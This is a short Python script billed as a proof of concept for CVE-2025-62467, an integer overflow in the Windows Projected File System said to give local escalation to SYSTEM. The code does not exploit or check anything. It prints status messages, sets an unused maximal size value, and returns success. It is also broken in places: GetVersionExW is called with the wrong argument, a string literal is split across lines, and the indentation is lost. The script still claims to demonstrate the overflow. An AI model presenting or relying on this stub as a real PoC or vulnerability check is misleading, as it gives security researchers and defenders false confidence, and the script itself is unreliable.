The following code is for security research and authorized testing only.
python
# CVE-2025-62467 PoC - Windows Projected File System Integer Overflow
# This PoC demonstrates triggering the integer overflow condition
# Actual exploitation requires advanced kernel debugging skills
import ctypes
from ctypes import wintypes
import struct
# Windows API definitions
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
# Projected File System GUID
PROJFS_GUID = '{0D9A7536-1C90-4E5E-9F1B-5C5A5B5E9F1B}'
def create_projected_directory(target_path):
"""Create a Projected File System directory for testing"""
try:
# Enable ProjFS via Windows API
# This is a simplified PoC - full exploitation requires kernel-level manipulation
print(f"[*] Attempting to create Projected FS at: {target_path}")
# Trigger conditions that may lead to integer overflow
# In real exploitation, this would involve:
# 1. Creating multiple virtual files with specific attributes
# 2. Manipulating file size values to cause integer wraparound
# 3. Exploiting the overflow in buffer allocation
# Simulated trigger - actual PoC requires kernel debugging
malicious_size = 0xFFFFFFFFFFFFFFFF # Potential overflow trigger
print(f"[*] Setting projected file size to trigger overflow: {hex(malicious_size)}")
print(f"[!] This requires kernel-mode debugging to confirm overflow")
print(f"[!] Successful exploitation leads to EoP from low-privilege to SYSTEM")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def verify_vulnerability():
"""Verify if system is vulnerable"""
print("[*] CVE-2025-62467 Vulnerability Check")
print("[*] Target: Windows Projected File System (ProjFS)")
print("[*] Vulnerability: Integer overflow in file size handling")
print("[*] Impact: Local Privilege Escalation")
print("")
# Check Windows version
version = ctypes.c_ulong()
kernel32.GetVersionExW(ctypes.byref(version))
print(f"[*] Windows Version: {version.value & 0xFF}.{(version.value >> 8) & 0xFF}")
print("[*] Checking for ProjFS support...")
return True
if __name__ == "__main__":
verify_vulnerability()
create_projected_directory("C:\\TestProjectedFS")
print("
[!] Note: This PoC is for educational purposes only.")
print("[!] Actual exploitation requires kernel debugging tools.")